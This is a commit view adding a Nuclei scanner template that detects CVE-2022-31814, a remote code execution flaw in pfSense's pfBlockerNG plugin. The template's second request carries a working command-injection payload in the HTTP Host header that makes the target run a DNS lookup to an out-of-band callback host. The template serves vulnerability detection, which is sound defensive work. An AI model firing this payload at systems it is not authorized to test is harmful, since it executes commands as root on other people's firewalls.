Merge pull request #5416 from EvergreenCartoons/patch-1

Create CVE-2022-31814.yaml
patch-1
Prince Chaddha 2022-09-26 11:27:18 +05:30 committed by GitHub
commit 98e0aff17a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 44 additions and 0 deletions

View File

@ -0,0 +1,44 @@
id: CVE-2022-31814
info:
name: PfSense Pfblockerng Plugin - Remote Code execution
author: EvergreenCartoons
severity: critical
description: |
pfSense pfBlockerNG through 2.1.4_26 allows remote attackers to execute arbitrary OS commands as root via shell metacharacters in the HTTP Host header. NOTE: 3.x is unaffected.
reference:
- https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/
- https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
- https://github.com/EvergreenCartoons/SenselessViolence
- https://nvd.nist.gov/vuln/detail/CVE-2022-31814
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-31814
metadata:
verified: true
tags: cve,cve2022,pfsense,pfblockerng,rce,oast
requests:
- raw:
- |+
GET /pfblockerng/www/index.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
- |+
GET /pfblockerng/www/index.php HTTP/1.1
Host: ' *; host {{interactsh-url}}; '
Accept: */*
req-condition: true
unsafe: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: dsl
dsl:
- 'contains(body_1, "GIF")'